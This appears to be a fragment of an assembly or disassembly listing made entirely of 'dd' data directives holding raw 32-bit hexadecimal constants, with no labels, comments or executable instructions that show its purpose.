		dd 0CD33898h, 8506FBB8h, 78313427h, 507050Dh, 0C05211C3h
		dd 880A920Eh, 9AB2E4Bh,	0AD5E33B4h, 12D05B2Fh, 0B85AE0DEh
		dd 0D26E404h, 67C33129h, 7C3DF251h, 59122C71h, 78B0FD57h
		dd 0E4231ADh, 0E606C6C5h, 0F6A5D2B7h, 0E2944A68h, 23B902B3h
		dd 0E208508Dh, 0A0EE96E6h, 162D0975h, 3476264h,	0CB0C30C3h
		dd 4A7205D0h, 0E978C209h, 6071C20Dh, 92DC13BCh,	123BF7B9h
		dd 26F3AA04h, 7AC8ED9h,	5A6A9252h, 808F996Bh, 0BCA33DC5h
		dd 5F2855D4h, 4D09F45Dh, 0FF74EB6Bh, 80B7BE2h, 5CDD6AFDh
		dd 23FE2521h, 55EF5C3h,	1E11E212h, 0A251E128h, 0F82FC71Dh
		dd 83AE1997h, 0E2C6F707h, 5BDD942Bh, 2973DD5h, 6415B2E2h
		dd 0FB100306h, 40279D07h, 2A435E32h, 68D0171Dh,	0CEA097AAh
		dd 81A98F4Ah, 0AEF9A016h, 0D72EF90Fh, 0CCBE644Dh, 0B713DFADh
		dd 0A093AC37h, 2C4F74CAh, 69650BFh, 536F6668h, 9DF9EF20h
		dd 0C08B077Ch, 207F50E2h, 6819853Dh, 7C316974h,	88A6023Eh
		dd 38FD5BC2h, 0D68D2CBDh, 7A2DEE44h, 0D24C456Eh, 0D517E57Ah
		dd 2C2D0033h, 558C2437h, 0F2EF165Bh, 97681229h,	0B85439E0h
		dd 40D25ADAh, 880F02D0h, 0E5C0D31Bh, 0FB0949F1h, 2203B711h
		dd 1B02A475h, 6422EBC3h, 0C3607719h, 464AB165h,	0A91FF0D2h
		dd 0A99B0FD7h, 0B615D740h, 0D338E98Eh, 2A376267h, 9A7A150Eh
		dd 0BC455D1Eh, 0A300E848h, 2552B475h, 612E3B74h, 16AB0D82h
		dd 70770CCCh, 11691E2Bh, 41E904F2h, 8033BAA2h, 0CCABF409h
		dd 82404CA7h, 1FE69F58h, 9685109h, 30AC66Ah, 1F0479B9h
		dd 0D1BDB2E9h, 0FA488619h, 38FE6801h, 4AADF589h, 6889645Bh
		dd 6B0E10ABh, 484D9FD5h, 6D408DA6h, 90C9920h, 5510C535h
		dd 0BAAE0502h, 21CD1855h, 930082B5h, 0EDE2DD70h, 0C4F72597h
		dd 85E937FAh, 0D7F55F83h, 5E7D04DAh, 31AB1653h,	2F3CDBEAh
		dd 892ECECDh, 75AD7EADh, 2182C0CDh, 0F7566B24h,	1F48A9B7h
		dd 0B549AF59h, 0CCB0DF16h, 90BF28AFh, 255D7AFEh, 0E0607172h
		dd 2F3CBAE3h, 7B0C600Ch, 0C0155601h, 0E751EB1Dh, 0F8BFFC7Fh
		dd 82AC4B71h, 0F5C85335h, 0F34C805Bh, 0DFAF3931h, 0C6081B8Dh
		dd 0CD744416h, 50F91B41h, 0C44B4673h, 0A03DFB37h, 521FE2Ah
		dd 0BD00A139h, 31E436FEh, 41766295h, 853F7CDBh,	8498BF69h
		dd 169061FCh, 280BDD68h, 0CB80C4DCh, 6E4C002h, 841FC37Fh
		dd 92F422C3h, 435C60E1h, 0F73FC5D3h, 5907CC10h,	0DC530FFh
		dd 46274B02h, 90BA0CE9h, 267178AEh, 2FFE65C1h, 0E975CDFAh
		dd 5D174B9Ch, 0BCE110FCh, 0E50B8BAEh, 677B1072h, 223E0166h
		dd 6147CD81h, 0AFE4EF92h, 0E98238BDh, 3B5ACD32h, 3EAC116h
		dd 14093401h, 0D12A11FFh, 6FBA57DBh, 0B3A59BEDh, 90E90959h
		dd 9F9D7A9Fh, 0C195D8DAh, 0CDA4B50Dh, 0C7AA0C8Dh, 5B3FE1FBh
		dd 5344002Dh, 93036368h, 9867F54Ch, 3160B43Eh, 0CE80F4F1h
		dd 7B852B5Eh, 27F0DEFh,	34F17A2Bh, 3BF2B540h, 2957242Ah
		dd 0D51D0833h, 27C04318h, 0E35B3E17h, 2097CF16h, 3F37AD43h
		dd 9F27207Bh, 0BDD2FB80h, 0AB7F7996h, 81FAE225h, 62C6EDFBh
		dd 7FC82D3Ah, 0E917E23Eh, 62FEBF34h, 1C5F3C7Bh,	1AC7017Dh
		dd 13B9F1Ch, 1E431CFh, 254DE908h, 0DCF3F5D3h, 0C8BD3EEEh
		dd 1743EFA3h, 0FA10742Ch, 35081350h, 22EE485Ah,	5F055D58h
		dd 68C26CB8h, 947D6E9Fh, 0FC75A2C2h, 1E7F2DEFh,	0D6272F30h
		dd 0DDCF18F9h, 0CAF4492Dh, 6513CB40h, 0B782260Fh, 7936A8D4h
		dd 4B8A7F07h, 0B4B5A82Fh, 0B05E7D81h, 0EBB9BA04h, 107368C4h
		dd 98F94FEFh, 65E4337Bh, 0CFE14F16h, 6C2EDCDBh,	0C745A095h
		dd 5C198014h, 854B3631h, 0B96DBA69h, 0E749E729h, 972C503Bh
		dd 831ACF0h, 5017FA1h, 0C6EB087Dh, 0D30412EBh, 37790B51h
		dd 0D2832FF8h, 6FBA00FFh, 0DDB02913h, 0BF6802A8h, 66E32F4Eh
		dd 48E95CB0h, 0C7FB9A60h
		dd 6623F6Bh, 0E28F0F13h, 0EF0037C1h, 4F4E3CBBh,	0C0753BE9h
		dd 5FD98A2Eh, 0C7BCE2D1h, 0EEF60701h, 0B76C8991h, 0E9A77C17h
		dd 0AD163887h, 0B86E0522h, 0D9EAC052h, 48A5DD39h, 429F7185h
		dd 8FEC77A8h, 977FE222h, 5E04E7FAh, 5D671F42h, 0E20584EDh
		dd 0B5609370h, 0C2AA16Bh, 5F2E0820h, 0E90B7055h, 0BDBC401Ch
		dd 992E0212h, 1C5831Eh,	4934A540h, 0E927A705h, 54A2B044h
		dd 592C2F0Fh, 8DD04B69h, 0C46F7C97h, 45DF8ACh, 7B94685Bh
		dd 0FE56E1CCh, 0B0099FA7h, 3CF23300h, 357CF80Ah, 398A8D2Eh
		dd 7A84AFBAh, 9FA8205Ah, 0D48BF07h, 0A1100556h,	0B6266C17h
		dd 2D0720A2h, 69E03AE9h, 0DB580B5Ch, 6A9010FFh,	0E3A36817h
		dd 478F130Eh, 3AF95404h, 0FECA8603h, 51DAF690h,	18BB589Dh
		dd 0E8CC8808h, 0F782B39Eh, 645A92C0h, 6FC0D782h, 0C46EBD5Fh
		dd 0D6ABB68Ah, 2F4EE6A5h, 0E110FAB2h, 0F5E9A08Dh, 0B24AC4B1h
		dd 0FCA1AA3Ch, 2510F72Bh, 55CF09CEh, 5C464065h,	42E912DFh
		dd 0AB37FAFAh, 344C30F4h, 1E16CB10h, 0FD8A56DDh, 0E8EE8713h
		dd 0CECA12BBh, 854A78B2h, 0B770816Eh, 0F59381AEh, 179E122Ah
		dd 5A1E093Eh, 6834D9E8h, 0B5E75F81h, 2727A6ABh,	62FF79E3h
		dd 8052376Dh, 0E4211D00h, 46CF3560h, 0E9381720h, 0F73544F1h
		dd 21D081DDh, 94AF0544h, 2DE1BF50h, 956389D4h, 171C1F4h
		dd 814E57C2h, 168CBE48h, 0F5C55BBAh, 0D1FBAD16h, 895F63C1h
		dd 4105E069h, 7E7048BFh, 0C3FBA8Fh, 0A142E32Dh,	9A4FC87Ch
		dd 40C91F8Ch, 0D99F56BAh, 0F55E32A9h, 51491052h, 3A285142h
		dd 2F1639AEh, 0BD4BD2A6h, 7E0389B6h, 3E7D2F01h,	5FC28213h
		dd 0E7D6676Eh, 3F56BB05h, 0B9943CEAh, 90475405h, 4AC4E93Eh
		dd 2DDF72EAh, 2981F174h, 0EE03E9C8h, 0BD42C525h, 0BF882C19h
		dd 5732B300h, 0AFE94767h, 0CFD5A87Eh, 96562D92h, 7D00AA78h
		dd 29275350h, 5B14E9FDh, 459C57B6h, 8B7EC56Ah, 0E27F16A1h
		dd 582898CAh, 70E401AEh, 66E942BCh, 0F0CC7B0Fh,	0A5505BFBh
		dd 58812107h, 5B60B84Bh, 7A29ED69h, 602C4BC4h, 12661761h
		dd 1A32D5Ch, 79B564CFh,	143ADBE9h, 55B1B18Eh, 3E883EBDh
		dd 0B2D667B2h, 0F809AE59h, 804E9371h, 53D8287Fh, 5B0BC9B3h
		dd 0EAF0C30Bh, 7056DE95h, 0D0522BE9h, 5EFB17C2h, 0AE0629B6h
		dd 7112EF59h, 346E927h,	0D1F380FEh, 0F897DD88h,	0C12DEFEBh
		dd 0F5D80320h, 59EA8180h, 4A1E8742h, 76500A97h,	0EFCB1400h
		dd 4C315E52h, 22E09F2h,	0ED366C54h, 12CAF913h, 0A1AA12EAh
		dd 0C5D1797Dh, 0E89C7C1Fh, 0A5DD9750h, 0BA0F56BFh, 10F1C5C6h
		dd 21DB2780h, 8D455C42h, 7C9DE810h, 4B78E207h, 8BC17DC1h
		dd 19803D46h, 0B871ADC2h, 0E92452C7h, 0B6E4DD82h, 22D13E0h
		dd 38FA65ABh, 4CFDE568h, 33C20302h, 8E97F3Dh, 475F94D6h
		dd 0E3E701FEh, 0F9144826h, 179E5458h, 0E256BED6h, 8B80C2BBh
		dd 9A60009h, 1C2A2016h,	93EE8956h, 243E0BF1h, 1DE84D68h
		dd 497CFE06h, 1304D9F7h, 0E8ABE957h, 8C6C5FC9h,	0BF994A23h
		dd 0A64FFA9Bh, 0E953042Dh, 0E953CB4Ch, 0DDB0436h, 0D0806C43h
		dd 1A8A75ABh, 1CDF0171h, 20E90801h, 6D9B50B6h, 127A9C28h
		dd 0F1BB0127h, 34872DD9h, 0AFB6251h, 296796E1h,	0BF3053Eh
		dd 74F8993Dh, 292C257Eh, 597695Fh, 97A229Eh, 0A07E5DA0h
		dd 3A77831Fh, 0AA1D0630h, 0B95CBDB4h, 74ECE984h, 2233ED8h
		dd 6818AF41h, 6D46E2Ah,	77A9BCC2h, 4516C218h, 3C30CA88h
		dd 24CC1173h, 0F8CF7139h, 89192716h, 0D94C5F0Bh, 0D601C64Ah
		dd 7AE9DBF7h, 5ED8ED3Bh, 0DD331FBh, 5DBC3F96h, 744F80E1h
		dd 7955765Dh, 0AA216062h, 7F12F16h, 4531A5E1h, 165ED53Ah
		dd 0ACA35744h, 7E13060Fh, 0A27C3FDDh, 5F0805BAh, 3644D82h
		dd 6EEC380h, 0FAD7D75Ah, 58ED065Dh, 22AB189Ch, 0B23F52EAh
		dd 33F29C0Fh, 665AD304h, 496A9F82h, 0CB6E59ABh,	0CA1D13D6h
		dd 0E3477E20h, 7FC248ABh, 251F027h, 42DE5E25h, 0CBD4BA01h
		dd 4C06C2E0h, 2EF5B05Eh, 84C1BE6Bh, 0F3376468h,	72BF1630h
		dd 0BBDF29D1h, 0A5E7AD03h, 4ED2B330h, 0ADF584A9h, 0D46510FEh
		dd 54C78018h, 7995106Ah, 0D4C288AAh, 0DC2DD926h, 680E3084h
		dd 0C9A862ECh, 1CB511EAh, 0B2BB0759h, 0E01EC351h, 4976DCEBh
		dd 17E9130Bh, 2E6E165Dh, 0C1EACD86h, 6E3336F8h,	0F78B64A4h
		dd 0E443E93Fh, 206F0EF5h, 4098B95Fh, 20872951h,	855AECACh
		dd 0DC573E8h, 0DB37AAD0h, 69C77D4Bh, 22D2E905h,	69945AFh
		dd 0ECD992F2h, 547BF1F0h, 2CE40F4Ah, 9D6C9A93h,	0F5EBC0FEh
		dd 68599BE8h, 8B399524h, 1637156Fh, 12CC0D4Eh, 38329ABAh
		dd 0E824AE2Ch, 3732084Ah, 7E91B802h, 0E6E25F24h, 0BCD176C0h
		dd 0C1E0CFB1h, 160F05EEh, 0D0684D89h, 1964E13Bh, 5B561D02h
		dd 551E0C5Eh, 73BD4C4Eh, 2A82204Ah, 48516660h, 6F255C56h
		dd 271C8B26h, 59C10C2Fh, 0DB6E09F9h, 8CEE03C8h,	1269F782h
		dd 12E13C81h, 28AECD8Ah, 7830E9A2h, 7BBF207Dh, 62D00665h
		dd 605EFC1h, 0FA80084Ah, 0D4E3211h, 548EE96Eh, 17BE2B9Fh
		dd 978BE969h, 0C7B170BEh, 7B5A3A68h, 8405FE9h, 0A59C9358h
		dd 9F262074h, 0D4EEFC22h, 135C505Fh, 8E5A138Bh,	0D1156B60h
		dd 0EB8A8DB2h, 0D0EC2030h, 54FD2D00h, 55A2BAFh,	33031DC9h
		dd 7EC64F34h, 0E75C214Bh, 44EB0720h, 0D9D8BE11h, 58DFEC28h
		dd 0C400BC18h, 954B4E6Eh, 666BC8E9h, 8D45DF6Ch,	0E409F712h
		dd 0C61CC2A2h, 4A089887h, 475DB765h, 0A6E9129Fh, 0CBE99B0h
		dd 13F02CFCh, 6C1D512Eh, 0F681788Ah, 6ADF453Ah,	29E5042Ah
		dd 0D0ACACD7h, 6F4A04BBh, 8B806253h, 644B05D5h,	12B95A0Bh
		dd 2F4ABE09h, 0ADCC644Dh, 1E7CF3FFh, 4E7DFEFDh,	20646DBBh
		dd 119795B2h, 0E06A282Fh, 964CC416h, 45B3309Ch,	3D12DEF7h
		dd 0A5A63BF2h, 0CC0FA806h, 0C725F90Eh, 15CE7301h, 49F268BEh
		dd 0E45E5663h, 0CB044E16h, 4513E910h, 7C088AFFh, 4CC2B173h
		dd 61C5805Bh, 0EECE87Eh, 496BBE85h, 97FE484Ch, 0C4FC78EDh
		dd 11357CDh, 4A63DF31h,	7842ED1Eh, 34E85A7Dh, 0BADA24E5h
		dd 0B12F5FB9h, 0DD23187Fh, 3A02251Eh, 959167Fh,	37893BA4h
		dd 27587057h, 0E956A36Dh, 0DBC6F549h, 0BDF42D20h, 244DF8C1h
		dd 0AA81D336h, 65C1AB05h, 8F2F6504h, 0CBE90B1Ch, 92AFA377h
		dd 0D1CE8BA1h, 14A586E7h, 0F61D89C8h, 0ED16D575h, 2DE820D7h
		dd 51210C73h, 2A22E1B5h, 0E927307Ch, 8AAE84DBh,	8803BAC0h
		dd 0B08D24Ch, 6199AA5Eh, 0AE8B44DAh, 52A1CAEDh,	2CFF6564h
		dd 1401D263h, 0AB71DD8h, 24219061h, 685F0802h, 5AD1681Ch
		dd 0DF32B311h, 1665A7CEh, 0B788BAEh, 0A7B7A4E9h, 60F8C893h
		dd 584C63BFh, 0E584595Ah, 1FE09F84h, 267FE6B9h,	1AC823A6h
		dd 0DF02E7CAh, 7609899Ah, 807609CAh, 185FEF58h,	0B7C07AF8h
		dd 2EFC090h, 0AC6607CAh, 7E7B4E32h, 0BFEA81E8h,	307D1210h
		dd 3ED6B484h, 0BDC34CCCh, 0ACE9A2E8h, 12414BAh,	562DF9D7h
		dd 95DA7D9h, 7B4FF7E7h,	30DDC62Dh, 2DC3CE40h, 5E81E50h
		dd 0D15D632Dh, 0E9856952h, 1B0BABC5h, 7B4404EBh, 7EE5CEBAh
		dd 0A5385534h, 0B7578E81h, 0AECEE983h, 0C810EF78h, 814E64FEh
		dd 53230A2h, 921022F2h,	0F329168Dh, 0FD423F09h,	465D8F94h
		dd 5DB35FFCh, 0F904F120h, 5223E943h, 0F6ED71EBh, 0B2450355h
		dd 7B3578EBh, 246D7E80h, 93C87C54h, 38B7FCDFh, 670E120Ch
		dd 22EDC0FFh, 0C1F0B04Ch
		dd 89B806F0h, 0D40E7E0Ah, 0E822FC0Ah, 17DE5558h, 39A4702Ah
		dd 78A1328Ah, 0EBF20A81h, 0C597F4EDh, 0A3E04A4Bh, 35EBA89h
		dd 0B1F1B652h, 0A4A43035h, 0B35F2E72h, 28936BF2h, 453AC106h
		dd 0B4358B20h, 587872Ah, 4FEB4E81h, 27426FD4h, 0BF78465Fh
		dd 82E9530Bh, 2372D8h, 3F0E3085h, 1F03EB81h, 0E9422109h
		dd 594F2FAh, 4B860FDBh,	603FA429h, 4EBB4513h, 0C515EA01h
		dd 0FE2F121Fh, 4B971A28h, 0B1D3AA91h, 5B40099Eh, 0FA56515Ah
		dd 85FA5945h, 1032EB37h, 7F240C33h, 8982D1BEh, 0D5283578h
		dd 2F7D4E39h, 4B681D8Ch, 5AA5B991h, 619338EAh, 0E5D9D697h
		dd 0CC8B0449h, 0DCE3FAE8h, 65BCCB9Fh, 1277CCFAh, 4A53AB9Eh
		dd 0D2B8F934h, 95B8AABh, 7DDF3DE9h, 0E2217B96h,	0CA81401Fh
		dd 0A75C3E78h, 9BC20013h, 29716283h, 0CE5A5BD3h, 0ED057699h
		dd 10EC4FBAh, 0EA3CB704h, 0E0FAF5EFh, 0F795C7CEh, 0A8E2A223h
		dd 0C0E63706h, 12284D1Bh, 0AF4606EEh, 0D1FBCB80h, 0BE9C5BD2h
		dd 86050940h, 0A55E9AEDh, 0E95F8397h, 652887B4h, 63E094F5h
		dd 9208F22Fh, 4E16D862h, 945BF65Fh, 58B48625h, 6CD54133h
		dd 0D9EFB46Ah, 0B4C54422h, 3E17CF9Bh, 0E9BCE801h, 0FA362600h
		dd 8E7C110h, 60B8D179h,	0E3CC0414h, 507B25CEh, 997BBD56h
		dd 0C334DD69h, 5D430820h, 59795F5Eh, 0F34E1FCFh, 0E846C91Bh
		dd 2C300285h, 17E00F60h, 41ED467h, 0D2F70ED9h, 67F0A8ABh
		dd 45CF282Dh, 0AD278C05h, 0C6955C0Ah, 4E5D3096h, 0A113A865h
		dd 70020275h, 16EAF16h,	0CBD762C3h, 0F6DDBA8Ch,	96338CCCh
		dd 11F2CAFBh, 3D4CA03Bh, 0BC068AF2h, 8B028F4Fh,	7710791Dh
		dd 0E3073C54h, 33607A2Dh, 0BDB175E9h, 2B8E8E65h, 4B211C17h
		dd 0C53504h, 0F841A5BDh, 16CB837h, 71145B03h, 2AF3D6E9h
		dd 0E2E3EE40h, 980CA105h, 1E6355Dh, 8AE4040Ch, 4E81E2CBh
		dd 5C288DC0h, 7786909Ah, 0EF7FC3E3h, 81F46679h,	40FA6457h
		dd 1F39C12Dh, 0FD54C43Ah, 36520332h, 3D9FF179h,	0B3CA3A97h
		dd 303805DEh, 0A2E95679h, 0F8276327h, 76E673D8h, 0F1B7BF84h
		dd 949CF94Ah, 83994A6Eh, 0A778E23Ah, 0EA121F04h, 401B5898h
		dd 0CC03BD57h, 0F7360B27h, 0A10449D5h, 9550C4h,	0CA1B0C68h
		dd 255A7B6Ah, 79F678F5h, 0EAA81CDBh, 7E20ADE9h,	700FCEEBh
		dd 6BBD7F5Ah, 3D2C9789h, 565CD097h, 0EFC810Ah, 2F301187h
		dd 0AFDF04F8h, 0CC34E959h, 3705C18Dh, 575625BDh, 0B7EEDD0Ch
		dd 542001BEh, 0E6C12443h, 0D1563402h, 81093EDh,	0BF65A20h
		dd 16014E9h, 0D15BE1F2h, 89F18940h, 0F759CF06h,	0DCFDD296h
		dd 6A5C50E7h, 10D7302Dh, 0FB28F8CFh, 57131429h,	4E5BE3B4h
		dd 68B00CECh, 2C965FA9h, 9ADA605Ah, 0AC014F67h,	66C51050h
		dd 0ABD12912h, 0B63E4F3Dh, 0D14B12A0h, 0C9B5BED3h, 0C804F7Ah
		dd 506D74B1h, 27FEFC1h,	0FA5AC0E7h, 0FD01850Ch,	308A125Fh
		dd 0C71EF33Eh, 553F6FC5h, 4CB0FC20h, 8F88185Bh,	284E0FCAh
		dd 0D8A46302h, 16B3B2BDh, 0D510215Eh, 0DD4A7E8Fh, 67BF9780h
		dd 1ACA0015h, 46EDBB53h, 0C9B63D7Fh, 5EB69840h,	0C2328342h
		dd 40B3366Ch, 8090E739h, 111E83B9h, 8596728Ah, 0C2DFB953h
		dd 977EDF50h, 792C95C7h, 0E5BB8A0h, 2CE9D9E0h, 0B187CC1Dh
		dd 4131ABEh, 0D0A6C1AFh, 0F34AE571h, 2675C0C3h,	6CC6C14Eh
		dd 0EF0340CAh, 0DB4A91Fh, 24C5C496h, 0F89E64FBh, 0E6683436h
		dd 0B827AEE9h, 5C6E1B68h, 0F72697B8h, 0CA1E70DDh, 0E970D141h
		dd 0E2DBB1Eh, 19DFA107h, 7BF1B262h, 530CFE7Ah, 40436857h
		dd 205D9841h, 40FA92Ch,	1DC82892h, 5DB35305h, 0F72106AAh
		dd 4F98BFECh, 11B279F0h, 984F2C3Fh, 0DF5DCE86h,	0C9801E0Fh
		dd 0AECB3C70h, 0BA8C373Ch, 0CA680393h, 5F2D6366h, 0A2056197h
		dd 152F3762h, 3BCC330Bh, 99D297CAh, 0B95B65E2h,	80B71A08h
		dd 140DC017h, 0A784BA5h, 2808C1C5h, 0FE9D4FFEh,	4BA9B274h
		dd 145A9755h, 1C45E909h, 50E74EFCh, 75D1AFC2h, 22244DC7h
		dd 7C39CF24h, 0D018FD2Dh, 776812E7h, 34E96002h,	5D980C04h
		dd 0BD80E2E2h, 6086F6EEh, 1343AC28h, 294001BCh,	0E1584B0Ch
		dd 4DC5014Ah, 0F7EB04BAh, 0FE8916F2h, 643468E1h, 95C3EECFh
		dd 0BA48018Bh, 0F4B7EE76h, 0F8C469DCh, 34310526h, 0CF2F5840h
		dd 7AF9BF19h, 69843C00h, 0FBEDE922h, 47D7FF51h,	63E092Eh
		dd 0BE5E4784h, 1CE46340h, 2DE93695h, 0E55357CEh, 1353E808h
		dd 0B84B4429h, 0DCEA16CBh, 501C52BCh, 56978D68h, 0BA0D0E04h
		dd 0A944F340h, 0D29FF207h, 4A2E0998h, 6F0F62C7h, 0EB297BCCh
		dd 0C215E20Ah, 3830941Eh, 4807B0DCh, 6C0F1D0Fh,	74D8F04Bh
		dd 2C263FE2h, 0B398343Eh, 0EE6C0483h, 250B94F9h, 0F5F8925Fh
		dd 240B4EC5h, 0A628E80Eh, 0DE733D03h, 74CF9CFh,	0F6D6C680h
		dd 8A5FFE27h, 5F92B790h, 0B780F0BDh, 0FED7F61Fh, 57AEE0A1h
		dd 0A3095EE7h, 6B29E999h, 2D03BDF6h, 134C1103h,	0F46CC2AFh
		dd 0CF6D6AE0h, 65DCE389h, 0D4E5B5A9h, 9515DB2Fh, 563BCF19h
		dd 4F61BF12h, 3FABFA9Ah, 5A4ED1F8h, 0EA1098A2h,	0B98C506Dh
		dd 164DC849h, 0A82007E6h, 0D4DD8DBh, 5EF029E0h,	1DB43F12h
		dd 89715EE9h, 4C0099Ah,	0B2CC27C6h, 89EA6316h, 7B310475h
		dd 0F70455F9h, 0AB903042h, 66CBE80h, 311D022Fh,	5E13E9C7h
		dd 0BF4CA0FFh, 274E5A8Eh, 16775058h, 0CA785864h, 751209DEh
		dd 44C5FA57h, 0D60BF565h, 8729976Ah, 6323F1C5h,	5DEAB909h
		dd 0C9B7A52Ch, 4231515Fh, 0DF48ECE9h, 2C4E8759h, 5B4F3CEEh
		dd 265A9Bh, 0EB34EF02h,	7CC7E259h, 243303AAh, 6C04C12Dh
		dd 104CE942h, 0B7E106A8h, 0C1353805h, 0B5E939B0h, 5858CF38h
		dd 0D864E12Dh, 0A1705AFAh, 4916DE9Dh, 98DC407h,	4154FDDh
		dd 0EB6C03E9h, 5F4BA132h, 2F01F861h, 0B95B53AFh, 37EC5B94h
		dd 447A4A05h, 0C2198021h, 20051A04h, 6B25870Fh,	0FFEF9BF5h
		dd 0DCF07A37h, 25C3C62Dh, 0DD5352B6h, 882BCA0h,	0D2DF6FB2h
		dd 0A476B784h, 1CA55CDBh, 0EA8A2D16h, 5DBE0477h, 3DB453EFh
		dd 81512A2Ch, 0EE804BB6h, 2BF6CC3Ah, 42B1511Ch,	159CE09h
		dd 0F5200AFFh, 80DFD272h, 0E83019EDh, 66015059h, 6855B652h
		dd 0E24C4684h, 12F37D88h, 0B57BAAE9h, 9EE4DEC2h, 0E81BA481h
		dd 0F8976CEAh, 35C92036h, 4B00F8B7h, 20068ACDh,	95D8E034h
		dd 5384949Ah, 4A76F8ABh, 2DADC9ACh, 0C06C2762h,	4CE280BDh
		dd 0D918B0F8h, 0A7F2E191h, 2C8F06C0h, 74D02877h, 88FE9704h
		dd 9285B902h, 5AADE1C0h, 474B82Ah, 7D133C3Ah, 0F9D88209h
		dd 6F355997h, 8C63ACE5h, 0D67268D4h, 67771897h,	4A10836Bh
		dd 5F275349h, 0FA0D6655h, 95ABE27h, 0A17705ADh,	2FA968F5h
		dd 79BA2650h, 34303E7Eh, 0E9677AB0h, 0F1958632h, 2C520DCh
		dd 20482E6Ah, 84644E46h, 0B7D19104h, 0FB1201DFh, 67213528h
		dd 0EBC2A2D0h, 8915E5DFh, 51758E10h, 0BD584BFFh, 0DF7A9703h
		dd 4C933555h, 0EE4A7F0Bh, 63BDC750h, 0EB455E3Ch, 0D4B58EDh
		dd 4D083A76h, 328E52Eh,	4C200CF5h, 5CF362B5h, 18425692h
		dd 1B2ADACEh, 5F72D17Ah, 579E99DDh, 5209442Ch, 0AD45755Dh
		dd 0C6217BFh, 4B8E2AB4h, 25808C26h, 0BFE007F5h,	2D9D3CB3h
		dd 82DC3174h, 0BD058EC9h, 0E90F9CC1h, 8C2E0B4Fh, 62006E21h
		dd 0F1811866h, 7E4178B7h, 0A0C99022h, 8058358Ch, 0AE90515Bh
		dd 80074420h, 0A63D3D8h, 0C6297C24h, 0B00820C4h, 264186C6h
		dd 0C9EF29h, 58C84786h
		dd 719D2768h, 5CBD8137h, 40496339h, 5A68C5BDh, 3C5CBA5Ch
		dd 0A0BE0CF5h, 0B75D44BCh, 2D440A21h, 34DB47BDh, 0A54CB34h
		dd 0BD4FB268h, 0D68AA08Bh, 0CA0C4BD5h, 351C580Bh, 0C1D2F16Dh
		dd 91314DE5h, 0E4F43068h, 9F447852h, 48C8EEE1h,	0B78D9E7Ah
		dd 0B2F96CD7h, 0E8C05721h, 76B56CD4h, 0A2264F44h, 681422C4h
		dd 0DFCE070Fh, 0FC8E5649h, 396867FBh, 149E6D54h, 96E55F25h
		dd 0ADF35BC9h, 48F94448h, 27E91E5Ch, 0A0E87954h, 0AF3BF0Ch
		dd 0E9C11026h, 0BE3CB761h, 0E60F8B4h, 124B31E9h, 4B48CEFFh
		dd 0E37A42FFh, 26E0B13Dh, 438084FCh, 9E887C0Fh,	4A123E6Ah
		dd 44B2EA94h, 7B9CE9B1h, 0DBAA3817h, 86BF1D03h,	875694CBh
		dd 18A845CBh, 97DA7849h, 26C7DD82h, 5B110E8Ch, 805A0FD3h
		dd 937FAFEBh, 0F1C0A419h, 18A0C400h, 0F8E2D98h,	1380AD9h
		dd 280705C8h, 0F27CBDDFh, 0E12FAB50h, 27E0B67Bh, 6267595Ch
		dd 0FC4A4DD7h, 77C914CBh, 0AC13BF7Ah, 5928C4Eh,	5F40C0FBh
		dd 424D3268h, 0EE2092D5h, 2549AE05h, 0FEC24BA3h, 27F80708h
		dd 55FADE76h, 4E8EF0D1h, 0CBBA177Ah, 0B2265E64h, 0FA555A08h
		dd 0F2811C45h, 173CE000h, 608B8A0Fh, 43C219F0h,	0CC5E35E0h
		dd 8D89C2BDh, 9CD46D7h,	0AEC1EDDh, 89FFC109h, 47CCF5EBh
		dd 561B0301h, 18BAE912h, 0C44EAA22h, 58FD8207h,	0E960D50Bh
		dd 0EB1272C7h, 55E1CF33h, 778012Eh, 3C184616h, 366A077Ch
		dd 76C035E8h, 0EC097843h, 17E27908h, 0A07CE92Ch, 0DF096893h
		dd 5360470h, 0FCB47124h, 0B82F1EF6h, 9B11CC74h,	0D50FEAEFh
		dd 7F70B233h, 7EE93552h, 4EADFC93h, 0C898C0B3h,	2F5FB4E9h
		dd 0B04B46B3h, 0E69FF4D2h, 6848B577h, 0C10A32F6h, 6055853h
		dd 407FE25h, 0EA574A59h, 0B81E98A9h, 0A2F40BEh,	7563A725h
		dd 2841D3A9h, 0D50F7B81h, 63475103h, 5880782h, 0CC08A16h
		dd 3203FF62h, 4A1EC3E9h, 0EF94AED1h, 106BD381h,	0E9843C3Fh
		dd 0DC7E8A25h, 31A478BFh, 73DCFD89h, 4A19C541h,	825FB4Ch
		dd 9AA91C71h, 139E6178h, 0E6B0538Fh, 0D7B517D8h, 0C7082364h
		dd 0EAD10A01h, 2F480BDFh, 2DA9408h, 0DD37BBFFh,	47D700FDh
		dd 0CB07EFC1h, 5720F707h, 0FF8D1AE0h, 89584097h, 9019BCBh
		dd 66D7D821h, 25C031DDh, 0FDD9BF70h, 0EE842F13h, 0E7CE8E5Fh
		dd 0FE271C1Ah, 2EB4F126h, 8EFF2FC4h, 15E9093Fh,	5171FCF9h
		dd 2EBAF44h, 0A289878Bh, 6006EFA6h, 0F3F8D18Fh,	0C52F73EAh
		dd 68FBE0C8h, 3F9109FAh, 6DB25280h, 72D48850h, 2DE2E8F6h
		dd 0C3401DE9h, 4B0BD3F7h, 0DE19810Fh, 7E48974h,	9EDE9FC8h
		dd 5E9216DDh, 0E1162DFEh, 0B3A7700Eh, 0CCE98D0Bh, 91CC1089h
		dd 0EA888068h, 38099DB9h, 0F6A52093h, 14A7FFDBh, 85F289BFh
		dd 0A5F45F89h, 6D315F27h, 9D2FFB5Bh, 89FCFEB5h,	2D2BA384h
		dd 155D835Fh, 0EAE8EF8Ah, 0F9AEB1BDh, 41E43C40h, 0B0826A07h
		dd 0DAF80B60h, 8A0306CAh, 81430430h, 97E905F3h,	85212E31h
		dd 9ABA8010h, 187DEA55h, 3F1EAC35h, 777F44EFh, 7344BB90h
		dd 0A6125C06h, 13E9582Bh, 11F44AB2h, 6380593Eh,	3D77214Eh
		dd 53149D2Dh, 31A90A97h, 325AC701h, 6F290514h, 81607C4h
		dd 40FB3417h, 0E9D70162h, 2FE1586Fh, 0BE9E36A9h, 4E94BF97h
		dd 6DED3098h, 503F208Bh, 5D5A3492h, 0AAEF8AC8h,	87E0DFC9h
		dd 7A89272h, 7AE11603h,	240E8EA2h, 88968BFAh, 734DC7E3h
		dd 102D8497h, 2BA3F3FCh, 80778567h, 890BA39Bh, 4123783Dh
		dd 0E4E77AB1h, 9B8B3367h, 90BCC5DFh, 40E983D8h,	0CE452469h
